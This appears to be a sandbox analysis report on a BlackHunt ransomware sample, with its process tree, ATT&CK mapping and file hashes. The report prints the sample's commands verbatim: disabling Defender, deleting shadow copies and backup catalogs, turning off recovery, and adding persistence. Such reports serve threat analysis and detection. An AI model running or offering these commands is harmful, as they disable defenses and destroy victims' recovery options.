C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:4344
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3556 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:3540
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3612 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:1476
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2956 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:3000
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:2240 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:212
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4776 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:4600
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3696 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:4416
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4272 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:960
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:208 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:4956
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4840 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:3800
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3836 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:4960
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3600 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2804
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:4556
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:3304
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:3792
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:3664
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:3940
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:2296
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:736
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2908
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:1580
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:3804
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:1860
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2248
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:5016
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2176
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:5012
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1600
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1996
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:4088
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:3824
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:2052
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:3416
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2896
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:4796
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:5036
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:3112
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:4596
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2964
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:2988
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:4488
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:428
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe" /F2⤵PID:4844
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\9fe40244670cbb8e726a185dcc382c141f2ab26fbfc34083323680b7e3f66c25.exe" /F3⤵
- Creates scheduled task(s)
PID:4536
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:4788
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:4452
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:4120
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:3828
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1436
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:5068
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:4272
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:4616
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:3532
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1676
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3804
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2488
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:3836
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:428
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2772
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:5204
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:1564
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:4916
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2780
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:5024
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:884
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6592
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:4900
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:6352
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
3File Deletion
3Modify Registry
4Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5d5a4b50bb804b90192cdd66d94b7e67c
SHA1a7dff750a150df80b10816ad7775f6abc96c4d1a
SHA256585dda14698164ab5f1377cc69f48d113e377e325992e870a741a213d039f924
SHA51240ecf50fee94b4d52be9152d99ca9a94dfae8400ceff48b6ff4458025353d8dda81d3c726d7df4fd98c50aec601a0e718fe512075b60fee14744930ea36455df
-
Filesize
12KB
MD52db8dc431348dccfb79ea13b1c09fdae
SHA1b4d87615ba6d6c0d362658648f553ba758364761
SHA256a104a5de16539451708299cc3ea7760312319c18083427334677541125e64ea5
SHA512e565ae16d74f33589ca6b0ebafb9aa4f5fb727467ab7481af9f5a1d29da71190a25cf07896d7a8dce34bfa70ca80faf5cda425cd556cc26040d0e7aa1d185037
-
Filesize
684B
MD535afe6e1eb11447ae6fce9635e4fba15
SHA1d57c4e7c1c34758f8ef00d4e3419d63b6f895cf2
SHA2568e11673069091458262f500478dcf8330be0a9375baba33f8818224ae97b84cd
SHA512fae2724f2e5094b0d378af503b25aa4b3f04eb4c5f22643374a2ea0af715aafaaa7a7b472de4d143e8f01fcb24c52d87eef328fee4303f4080694af8589cd842